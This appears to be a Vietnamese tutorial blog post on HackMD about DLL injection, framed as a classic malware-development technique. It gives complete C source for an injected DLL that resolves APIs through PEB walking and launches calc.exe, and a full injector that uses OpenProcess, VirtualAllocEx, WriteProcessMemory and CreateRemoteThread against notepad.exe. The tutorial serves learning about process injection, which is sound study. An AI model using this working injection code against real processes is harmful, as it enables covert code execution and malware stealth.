Nguyễn Dũng
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
Publish Note

Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

Your note will be visible on your profile and discoverable by anyone.
Your note is now live.
This note is visible on your profile and discoverable online.
Everyone on the web can find and read all notes of this public team.
See published notes
Unpublish note
Please check the box to agree to the Community Guidelines.
View profile
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
1
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# DLL Injection # I. Introduction - Một trong những kỹ thuật kinh điển trong việc phát triển mã độc nói riêng hay dịch ngược nói chung là `DLL Injection`. Trên thực tế, `DLL Injection` là một mục nhỏ trong phần `Process Injection` và do đã có rất nhiều blog về kỹ thuật này nên đây sẽ là một brief blog giới thiệu mà thôi. # II. Content ## Why and How could we do that? - Trước hết chúng ta cần có kiến thức về `Process`, `Thread`. Đơn giản nhất thì `Process` là một chương trình được thực thi, còn `Thread` là một phần của `Process`. - `DLL Injection` được sử dụng khi cần thay đổi luồng của chương trình, đặc biệt phổ biến trong game. Kỹ thuật này bản chất là load một `dll` hay `Dynamic Linking Library`, một thư viện động vào trong vùng nhớ của process đang chạy. - Các bước thực hiện ngắn gọn là: :::info - Xác định target process để inject - Allocate memory trong process đó - Viết DLL vào trong mem, có nhiều cách để thực hiện nhưng phổ biến nhất là: - `Basic`: Load DLL thông qua `LoadLibraryA` và các hàm Windows API khác. - `Reflective`: Load vào mem không dựa vào API. - Sau khi inject thành công, bước cuối cùng sẽ là thực thi code trong DLL để thay đổi luồng của chương trình. ::: - Một cách tổng quát, ta có sơ đồ `DLL Injection` như sau: ![image](https://miro.medium.com/v2/resize:fit:1358/1*jB688cAq6ENxeF_6LHaMIw.png) hoặc ![image](https://miro.medium.com/v2/resize:fit:750/format:webp/1*H-C2Kgdt3H-74lhj6LKusw.jpeg) ## Better or More Harmful? - `DLL Injection` mình giới thiệu trong bài này là một dạng dễ, sử dụng Windows API để đơn giản hóa quá trình load DLL. Một phương pháp phức tạp hơn, nhưng cũng khiến `Injection` khó bị phát hiện hơn, đó là `Reflective DLL Injection`. Đây là một phương pháp hiệu quả cho tính `stealth` của mã độc. - Hai ảnh mình up trên đã giới thiệu khá căn bản về `DLL Injection` rồi, còn đây sẽ là sơ đồ của `Reflective DLL Injection`: ![image](https://miro.medium.com/v2/resize:fit:1100/format:webp/1*GIUlGPOhxkq2Mi6QJSSKxA.png) - Nếu đã từng đọc qua bài [PE Loader](/GV5846iHRVmf52AaYTpUpQ) của mình sẽ thấy quy trình này gần tương tự như Manual Loader, tuy nhiên điều khác là chúng ta thực hiện load `PE_DLL` trên `Remote Process` chứ không còn là load `PE_EXE` trên `Loader` nữa. ## Injected - Tất nhiên đối với `DLL Injection` thì chúng ta cần phải có DLL để Inject, ở đây mình chỉ code đơn giản một con DLL gọi được `calc.exe` và không sử dụng Windows API để thuận tiện cho những kỹ thuật về sau, chi tiết cách resolve API dynamically mình đã có trong bài [Task 3: Dynamic API Resolution](/pxnLm8AlTBy8pV-19WKG5w). Đây là code của mình: ```c= #include <windows.h> #include <winternl.h> #include <string.h> #ifdef _WIN64 #define PEB_PTR __readgsqword(0x60) #define IMAGE_NT_HEADERSX IMAGE_NT_HEADERS64 #define IMAGE_OPTIONAL_HEADERX IMAGE_OPTIONAL_HEADER64 #else #define PEB_PTR __readfsdword(0x30) #define IMAGE_NT_HEADERSX IMAGE_NT_HEADERS32 #define IMAGE_OPTIONAL_HEADERX IMAGE_OPTIONAL_HEADER32 #endif BOOL compareDll(LPCWSTR check, LPCWSTR target) { DWORD checkLen = wcslen(check); DWORD targetLen = wcslen(target); if (checkLen < targetLen) return FALSE; LPCWSTR checkStart = check + (checkLen - targetLen); for (DWORD i = 0; i < targetLen; i++) { if (towlower(checkStart[i]) != towlower(target[i])) return FALSE; } return TRUE; } HMODULE resolveModule(LPCWSTR lpModuleName) { #ifdef _WIN64 PPEB peb = (PPEB)PEB_PTR; #else PPEB peb = (PPEB)PEB_PTR; #endif PLIST_ENTRY pListEntry = peb->Ldr->InMemoryOrderModuleList.Flink; PLIST_ENTRY pListEntryEnd = &peb->Ldr->InMemoryOrderModuleList; while (pListEntry != pListEntryEnd) { PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); WCHAR* fullName = module->FullDllName.Buffer; if (fullName && compareDll(fullName, lpModuleName)) { return (HMODULE)module->DllBase; } pListEntry = pListEntry->Flink; } return NULL; } FARPROC resolveAPI(HMODULE module, LPCSTR api) { IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)module; IMAGE_NT_HEADERSX* nt = (IMAGE_NT_HEADERSX*)((BYTE*)module + dos->e_lfanew); IMAGE_OPTIONAL_HEADERX* optional = &nt->OptionalHeader; IMAGE_DATA_DIRECTORY exportDir = optional->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; DWORD exportAddr = exportDir.VirtualAddress; if (!exportAddr) return NULL; IMAGE_EXPORT_DIRECTORY* export = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)module + exportAddr); DWORD* address = (DWORD*)((BYTE*)module + export->AddressOfFunctions); WORD* ordinal = (WORD*)((BYTE*)module + export->AddressOfNameOrdinals); DWORD* name = (DWORD*)((BYTE*)module + export->AddressOfNames); for (DWORD i = 0; i < export->NumberOfNames; i++) { LPCSTR func = (LPCSTR)((BYTE*)module + name[i]); if (strcmp(func, api) == 0) { DWORD apiOrdinal = ordinal[i]; DWORD apiAddress = address[apiOrdinal]; return (FARPROC)((BYTE*)module + apiAddress); } } return NULL; } DWORD WINAPI Payload(LPVOID lpParam) { typedef UINT(WINAPI* WINEXEC)(LPCSTR, UINT); typedef void (WINAPI* FREELIBRARYANDEXITTHREAD)(HMODULE, DWORD); HMODULE hKernel32 = resolveModule(L"kernel32.dll"); if (!hKernel32) return 1; WINEXEC winExec = (WINEXEC)resolveAPI(hKernel32, "WinExec"); if (!winExec) return 2; winExec("calc.exe", SW_SHOW); // Launch calc FREELIBRARYANDEXITTHREAD freeAndExit = (FREELIBRARYANDEXITTHREAD)resolveAPI(hKernel32, "FreeLibraryAndExitThread"); if (freeAndExit) { // Base address of the module HMODULE hSelf = (HMODULE)lpParam; freeAndExit(hSelf, 0); } return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); HANDLE hThread = CreateThread(NULL, 0, Payload, hModule, 0, NULL); if (hThread) CloseHandle(hThread); // Clean up handle } return TRUE; } ``` ## Simple Injector - Một điều lưu ý khi thực hiện kỹ thuật `DLL Injection` mà mình rút ra được là tất cả các platform phải đồng nhất, cụ thể: ``` Injector (x86) + Injected (x86) == Target (x86) Injector (x64) + Injected (x64) == Target (x64) ``` - Đặc biệt, đối với `notepad.exe` là mình đã target ở bài này có platform x64, nên cần build `Injector` và `Injected` ở platform tương ứng. ### Arguments - Mình code con Injector nhận vào hai tham số là `path_to_dll` và `pid_of_target`. Để đơn giản hơn nữa thì có thể đẩy `path_to_dll` vào trong code, và làm hàm `main` chỉ nhận `pid`. Trong trường hợp target là các game hay chương trình ngầm, chúng ta có thể trang bị cho `Injector` hàm `Toolhelp32` để lấy danh sách tất cả các `Process` và `PID`, từ đó có thể chạy ngầm `Injector` và chỉ `Inject` khi nào target xuất hiện. ### Open Process - Bước quan trọng nhất cũng như không thể thiếu trong `Process Injection` là `OpenProcess`. Hàm này giúp chúng ta lấy được `HANDLE` của `Process` đang chạy tạo điều kiện cho các bước tiếp theo. Đây là MSDN của hàm: ![image](https://hackmd.io/_uploads/rkU55FMOgg.png) - Thông thường mình để mở với toàn quyền hay `PROCESS_ALL_ACCESS` cho tiện nhưng `PROCESS_VM_OPERATION | PROCESS_VM_WRITE` là đủ. - Code: ```c= HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); if (!hProcess) { printf("[-] Failed to open process %lu, error: %lu\n", dwPID, GetLastError()); return EXIT_FAILURE; } printf("[+] Opened target process: %lu\n", dwPID); ``` ### Allocate and Write - Khi đã có được `HANDLE` của `Target Process`, chúng ta sẽ xin cấp phát một page mem để `Read` và `Write`, có thể thêm `Execute` cũng được nhưng mình không hay dùng lắm. Đối với `Loader`, khi allocate thì chỉ cần dùng `VirtualAlloc` là đủ do làm việc trên chính vùng nhớ của `Loader`: ![image](https://hackmd.io/_uploads/rkc4sFzOxe.png) - Đối với kỹ thuật này, ta cần lấy vùng nhớ trên `Target`, khi đó cần tới hàm `VirtualAllocEx`: ![image](https://hackmd.io/_uploads/rk-wstz_xl.png) do nó cho phép truyền thêm tham số `HANDLE` để xin cấp phát tại `hProcess` mong muốn. - Nhưng chúng ta sẽ write gì vào vùng nhớ này? Câu trả lời chính là `path_to_dll`. Cần phải hiểu, `path_to_dll` là một chuỗi **CHỈ CÓ TRONG PROCESS CỦA INJECTOR**. Khi đó, nếu bước sau sử dụng `LoadLibrary` để load DLL này vào remote process, chúng ta sẽ không thể làm được do chuỗi không tồn tại trên remote để resolve. - Code: ```c= // Allocate Memory for DLL path SIZE_T dllPathLen = strlen(dllPath) + 1; LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!remoteMem) { printf("[-] Failed to allocate memory in remote process, error: %lu\n", GetLastError()); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Allocated memory at 0x%p in remote process\n", remoteMem); // Write DLL path if (!WriteProcessMemory(hProcess, remoteMem, dllPath, dllPathLen, NULL)) { printf("[-] Failed to write DLL path to remote process, error: %lu\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Wrote DLL path to remote process memory\n"); ``` ### Load DLL and Wait - Sau khi đã có `path_to_dll` trên remote process, chúng ta cần load nó vào trong tiến trình bằng một loạt các thao tác sau: - Lấy địa chỉ module `kernel32.dll` - Lấy địa chỉ hàm `LoadLibrary` (ở đây mình dùng A) - Load DLL bằng hàm `LoadLibrary` vừa resolved - Một điều đặc biệt khi load DLL là chúng ta sẽ sử dụng `CreateRemoteThread`: ![image](https://hackmd.io/_uploads/SkpOCtMdgl.png) các tham số `lpStartAddress` và `lpParameter` sẽ tương ứng là `LoadLibrary` và `path_to_dll`, mô phỏng lại `loadLibrary(path_to_dll)` trên remote thread của target process. - Code: ```c= // Load DLL LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); if (!loadLibAddr) { printf("[-] Failed to resolve LoadLibraryA address, error: %lu\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Resolved LoadLibraryA at 0x%p\n", loadLibAddr); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteMem, 0, NULL); if (!hThread) { printf("[-] Failed to create remote thread, error: %lu\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Remote thread created. Waiting for completion...\n"); ``` - Khi thực thi `CreateRemoteThread`, LoadLibrary sẽ tự động gọi `DllMain` với case `DLL_PROCESS_ATTACH`, khi đó payload trong `Injected` của chúng ta sẽ hoạt động. Về cơ bản trông quy trình sẽ như sau: ``` Injector Process Target Process │ │ ├─ CreateRemoteThread ────────┤ │ │ │ ├─ Thread starts at LoadLibraryW │ │ │ ├─ LoadLibraryW loads DLL │ │ │ ├─ Windows PE loader calls DllMain │ │ │ └─ Your injected code runs! ``` - Cuối cùng thì chỉ cần `WaitForSingleObject` và sau khi hoàn thành thì Cleanup: ```c= WaitForSingleObject(hThread, INFINITE); // Cleanup CloseHandle(hThread); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); ``` ### Result and Full Code: - Kết quả: ![res](https://hackmd.io/_uploads/HJvE2qGdex.gif) :::spoiler Code ```c= #include <stdio.h> #include <Windows.h> int main(int argc, char* argv[]) { if (argc < 3) { printf("Usage: %s [path_to_dll] <PID>\n", argv[0]); return EXIT_FAILURE; } const char* dllPath = argv[1]; DWORD dwPID = strtoul(argv[2], NULL, 10); // Open Process HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); if (!hProcess) { printf("[-] Failed to open process %lu, error: %lu\n", dwPID, GetLastError()); return EXIT_FAILURE; } printf("[+] Opened target process: %lu\n", dwPID); // Allocate Memory for DLL path SIZE_T dllPathLen = strlen(dllPath) + 1; LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!remoteMem) { printf("[-] Failed to allocate memory in remote process, error: %lu\n", GetLastError()); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Allocated memory at 0x%p in remote process\n", remoteMem); // Write DLL path if (!WriteProcessMemory(hProcess, remoteMem, dllPath, dllPathLen, NULL)) { printf("[-] Failed to write DLL path to remote process, error: %lu\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Wrote DLL path to remote process memory\n"); // Load DLL LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); if (!loadLibAddr) { printf("[-] Failed to resolve LoadLibraryA address, error: %lu\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Resolved LoadLibraryA at 0x%p\n", loadLibAddr); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteMem, 0, NULL); if (!hThread) { printf("[-] Failed to create remote thread, error: %lu\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return EXIT_FAILURE; } printf("[+] Remote thread created. Waiting for completion...\n"); WaitForSingleObject(hThread, INFINITE); // Cleanup CloseHandle(hThread); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return EXIT_SUCCESS; } ``` ::: ## Reflective Injector > It is quite hard so I will try my best to bring it up there as soon as possible :crying_cat_face: # III. Wrapping up - Blog tiếp theo của mình sẽ là về packer và unpacker, bởi đó là kỹ thuật được nâng cao lên từ loader nên sẽ là mục tiêu tiếp theo mình cần đạt được. Bên cạnh đó còn có reflective dll injection cũng là một thử thách tương đối khó nhưng mình sẽ cố gắng hết sức. Hi vọng bài viết này hữu ích với các bạn. Dear!!! # IV. References - [Crow](https://www.crow.rip/nest/mal/dev/inject/dll-injection) - He is my favorite. - [VNPT](https://sec.vnpt.vn/2019/01/dll-injection/) - [StackZero](https://www.stackzero.net/dll-injection-example/) - [Youtube](https://www.youtube.com/watch?v=4mYhffBsGeY) - [TwinGate](https://www.twingate.com/blog/glossary/dll%20injection) - [InfoSec](https://infosecwriteups.com/dll-injection-dllinjector-d1b30c6760eb) - [S12deff](https://medium.com/@s12deff/reflective-dll-injection-e2955cc16a77)

Import from clipboard

Paste your markdown or webpage here...

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.
Upgrade
All
  • All
  • Team
No template.

Create a template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

Slide Example

API Docs

Edit in VSCode

Install browser extension

Contacts

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Get Full History Access

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

Note content is identical to the latest version.
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully